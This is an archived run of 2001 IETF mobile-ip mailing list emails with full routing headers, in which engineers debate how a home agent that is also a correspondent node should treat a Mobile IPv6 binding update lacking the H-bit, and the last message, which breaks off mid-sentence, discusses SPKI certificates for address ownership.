List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
  >    Section 8.3:
  >    Some HA (also being a CN) receives a BU without H-bit 
  > from a node already
  >    registered _with_ the H-bit set.
  >    What would be a sensible reaction?
  >    1) Stop intercepting packets and just work as a usual CN
  >    2) Ignore the missing H-bit in the BU
  >    3) ?
  >    
  > => after a short discussion, the consensus is to raise an error
  > (with a new code). Of course if acknowlegments are not requested
  > an easy solution is to drop the BU (:-).
  >

=> Why don't we go for 2) ? 
The effect would be that the HA will continue to intercept
packets and if corresponding with the MN, the applications
will still work. 
The issue here is how to avoid the tunnel interface. 

Cheers,
Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 11:03:32 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17717
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 11:03:31 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA15113;
	Thu, 22 Nov 2001 08:02:18 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20079;
	Thu, 22 Nov 2001 08:02:08 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMG1KLS029127
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:01:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMG1KG1029126
	for mobile-ip-dist; Thu, 22 Nov 2001 08:01:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMG1GLS029119
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:01:16 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA13171
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:01:17 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA02192
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:01:15 -0800 (PST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fAMG1Ch12023
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:01:12 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id RAA27575
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:01:13 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fAMG1CD22799
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:01:12 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111221601.fAMG1CD22799@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15 
In-reply-to: Your message of Thu, 22 Nov 2001 16:46:58 +0100.
             <4DA6EA82906FD511BE2F00508BCF053801C4C0A7@Esealnt861.al.sw.ericsson.se> 
Date: Thu, 22 Nov 2001 17:01:12 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
 In your previous mail you wrote:

=> initial question:

  >Section 8.3:
  >Some HA (also being a CN) receives a BU without H-bit from a node already
  >registered _with_ the H-bit set.
  >What would be a sensible reaction?
  >1) Stop intercepting packets and just work as a usual CN
  >2) Ignore the missing H-bit in the BU
  >3) ?

   => Why don't we go for 2) ? 
   The effect would be that the HA will continue to intercept
   packets and if corresponding with the MN, the applications
   will still work. 

=> to send back an error won't flush the binding cache entry.

   The issue here is how to avoid the tunnel interface. 
   
=> it seems the MN has to cleanly delete its home registration first
(i.e. 1) is hard to implement (according to HA implementers here)
and this MN behavior is not natural: something is wrong and this
has to be signaled back to the MN).

Regards

Francis.Dupont@enst-bretagne.fr


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 11:15:32 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18042
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 11:15:32 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA18749;
	Thu, 22 Nov 2001 08:14:13 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA21491;
	Thu, 22 Nov 2001 08:14:05 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMGDHLS029297
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:13:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMGDHuK029296
	for mobile-ip-dist; Thu, 22 Nov 2001 08:13:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMGDELS029289
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:13:14 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA14167
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:13:14 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA11314
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 09:12:56 -0700 (MST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAMGDDf05612
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:13:13 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Thu Nov 22 17:13:03 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ89184>; Thu, 22 Nov 2001 17:13:03 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0A8@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] draft 15 
Date: Thu, 22 Nov 2001 17:12:48 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

  >   >registered _with_ the H-bit set.
  >   >What would be a sensible reaction?
  >   >1) Stop intercepting packets and just work as a usual CN
  >   >2) Ignore the missing H-bit in the BU
  >   >3) ?
  > 
  >    => Why don't we go for 2) ? 
  >    The effect would be that the HA will continue to intercept
  >    packets and if corresponding with the MN, the applications
  >    will still work. 
  > 
  > => to send back an error won't flush the binding cache entry.
  > 
  >    The issue here is how to avoid the tunnel interface. 
  >    
  > => it seems the MN has to cleanly delete its home registration first
  > (i.e. 1) is hard to implement (according to HA implementers here)
  > and this MN behavior is not natural: something is wrong and this
  > has to be signaled back to the MN).

=> I thought the assumption was that the MN has 
a TCP connection ...etc with the HA. 
The MN will either need to remember that the CN
is also the HA and not send a BU (and accept 
the tunnelled packets). Or somehow the HA
would figure out a way of sending packets 
with a routing header (if that still exists 
after SLC !) for traffic that was initiated at 
the HA. 

Have I missed your point ?

Hesham




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 11:24:32 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18140
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 11:24:31 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA16711;
	Thu, 22 Nov 2001 09:22:35 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA22867;
	Thu, 22 Nov 2001 08:22:42 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMGM5LS029444
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:22:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMGM5q6029443
	for mobile-ip-dist; Thu, 22 Nov 2001 08:22:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMGM1LS029436
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:22:01 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA15475
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:21:40 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA16186
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 09:21:44 -0700 (MST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAMGM0f10700
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:22:00 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Thu Nov 22 17:21:47 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2L0D4Y>; Thu, 22 Nov 2001 17:13:53 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0A9@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] draft 15 
Date: Thu, 22 Nov 2001 17:21:45 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

A couple more points to add:

- A BU replaces the existing one. So if the MN
  sends a BU without the H flag it should really
  replace the existing BU. 

- The scenario may need some clarification in the
  draft, because there maybe cases where the 
  MN actually has a connection with the HA (the HA
  is my PC at home). In this case we need to define
  the behaviour of the HA, ie. :
  - Send packets with the router header for traffic 
    initiated from within the HA.
  - intercept and tunnel packets as usual.

Hesham

  > -----Original Message-----
  > From: Francis Dupont [mailto:Francis.Dupont@enst-bretagne.fr]
  > Sent: Thursday, November 22, 2001 5:01 PM
  > To: mobile-ip@sunroof.eng.sun.com
  > Subject: Re: [mobile-ip] draft 15 
  > 
  > 
  > => initial question:
  > 
  >   >Section 8.3:
  >   >Some HA (also being a CN) receives a BU without H-bit 
  > from a node already
  >   >registered _with_ the H-bit set.
  >   >What would be a sensible reaction?
  >   >1) Stop intercepting packets and just work as a usual CN
  >   >2) Ignore the missing H-bit in the BU
  >   >3) ?
  > 
  >    => Why don't we go for 2) ? 
  >    The effect would be that the HA will continue to intercept
  >    packets and if corresponding with the MN, the applications
  >    will still work. 
  > 
  > => to send back an error won't flush the binding cache entry.
  > 
  >    The issue here is how to avoid the tunnel interface. 
  >    
  > => it seems the MN has to cleanly delete its home registration first
  > (i.e. 1) is hard to implement (according to HA implementers here)
  > and this MN behavior is not natural: something is wrong and this
  > has to be signaled back to the MN).
  > 
  > Regards
  > 
  > Francis.Dupont@enst-bretagne.fr
  > 


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 11:44:51 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18551
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 11:44:51 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA26547;
	Thu, 22 Nov 2001 08:44:19 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA25206;
	Thu, 22 Nov 2001 08:44:05 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMGhHLS029598
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:43:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMGhGI9029597
	for mobile-ip-dist; Thu, 22 Nov 2001 08:43:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMGhDLS029590
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:43:13 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA12404
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:43:14 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA24733
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:43:13 -0800 (PST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fAMGhAh17866
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:43:10 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id RAA28864
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:43:11 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fAMGhAD22895
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 17:43:10 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111221643.fAMGhAD22895@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15 
In-reply-to: Your message of Thu, 22 Nov 2001 17:12:48 +0100.
             <4DA6EA82906FD511BE2F00508BCF053801C4C0A8@Esealnt861.al.sw.ericsson.se> 
Date: Thu, 22 Nov 2001 17:43:10 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
 In your previous mail you wrote:

   => I thought the assumption was that the MN has 
   a TCP connection ...etc with the HA. 
   The MN will either need to remember that the CN
   is also the HA and not send a BU (and accept 
   the tunnelled packets). Or somehow the HA
   would figure out a way of sending packets 
   with a routing header (if that still exists 
   after SLC !) for traffic that was initiated at 
   the HA. 
   
   Have I missed your point ?
   
=> at least I've missed yours because:
 - the HA has to send all packets from him with the HA address as source
   with a routing header (this is the HA as CN stuff).
 - the HA has to tunnel other packets, forwarded and from him with
   another addresses (a side effect of the binding cache per address
   requirement).
The last case is arguable but not others (HA is a CN, a router must not
insert routing headers in packets forwarded though it).

Regards

Francis.Dupont@enst-bretagne.fr



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 12:17:46 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19086
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 12:17:46 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA15387;
	Thu, 22 Nov 2001 10:16:14 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA27808;
	Thu, 22 Nov 2001 09:16:22 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMHFFLS029761
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 09:15:15 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMHFFsS029760
	for mobile-ip-dist; Thu, 22 Nov 2001 09:15:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMHFBLS029753
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 09:15:11 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA17072
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 09:15:12 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA14531
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 10:14:54 -0700 (MST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fAMHF6h24300
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 18:15:06 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id SAA29736
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 18:15:06 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fAMHF6D22962
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 18:15:06 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111221715.fAMHF6D22962@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15 
In-reply-to: Your message of Thu, 22 Nov 2001 17:21:45 +0100.
             <4DA6EA82906FD511BE2F00508BCF053801C4C0A9@Esealnt861.al.sw.ericsson.se> 
Date: Thu, 22 Nov 2001 18:15:06 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
 In your previous mail you wrote:

   A couple more points to add:
   
   - A BU replaces the existing one. So if the MN
     sends a BU without the H flag it should really
     replace the existing BU. 
   
=> this the option 1) but here HA implementors said this is hard to
implement and this should never happen.

   - The scenario may need some clarification in the
     draft, because there maybe cases where the 
     MN actually has a connection with the HA (the HA
     is my PC at home). In this case we need to define
     the behaviour of the HA, ie. :
     - Send packets with the router header for traffic 
       initiated from within the HA.
     - intercept and tunnel packets as usual.
   
=> this behavior is already defined if you add the home agent address
(the address the MN knows to be its HA address, the HA may have other
addresses and for them it is a regular CN for the MN, in fact usually
the MN doesn't know the other addresses).
Section 9.4 begins with a statement about section 8.9 applicability,
the only not-very-clear answer is about packets from HA with other
source addresses (routing-header or tunnel) but Peter Grimstrup's
question is about a Home Registration followed by a Binding Update
to the *same* address!
   
Regards

Francis.Dupont@enst-bretagne.fr

PS: about other addresses of a multi-addressed CN the consensus in
this list is to manage binding cache per address in order to allow
the MN to get a fine control of the care-of address it want to use.
But the current spec has enough flexibility: one can implement what
he wants without to trap by a sequencing bug or all bad things
that can happen with a careless shared binding cache.
I don't believe this has to be changed...


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 15:06:33 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20973
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 15:06:32 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA00290;
	Thu, 22 Nov 2001 12:05:51 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA13975;
	Thu, 22 Nov 2001 12:05:36 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMK4mLS000039
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 12:04:48 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMK4mJl000038
	for mobile-ip-dist; Thu, 22 Nov 2001 12:04:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMK4iLS000031
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 12:04:44 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA05342
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 12:04:45 -0800 (PST)
Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA14202
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 12:04:44 -0800 (PST)
Received: from ws34.nomadiclab.com (ws34.nomadiclab.com [195.165.196.34])
	by ws130.nomadiclab.com (Postfix) with ESMTP
	id E5C4474403; Thu, 22 Nov 2001 22:09:30 +0200 (EET)
Received: from nomadiclab.com (localhost [127.0.0.1])
	by ws34.nomadiclab.com (Postfix) with ESMTP
	id 00F38BA21; Thu, 22 Nov 2001 22:04:40 +0200 (EET)
Message-ID: <3BFD5A58.5030409@nomadiclab.com>
Date: Thu, 22 Nov 2001 22:04:40 +0200
From: Pekka Nikander <Pekka.Nikander@nomadiclab.com>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Cc: Jari Arkko <Jari.Arkko@lmf.ericsson.se>,
        Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
References: <Roam.SIMC.2.0.6.1006363802.26131.nordmark@bebop.france>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

>>If we had SPKI and not X.509, the address ownership
>>would be a lot easier to solve.
>>
> 
> How? Anything I can read to learn how SPKI is different in solving
> this issue?


Well, one way to explain is to say that both SPKI and KeyNote2
allow the access control list to be included into the certificate,
so to say.  In this respect both SPKI and KeyNote2 have the same
level of expressing power, even though in some other ways KeyNote2
is more expressive.

I guess the old I-D by Matt Blaze is still relevant, even though it
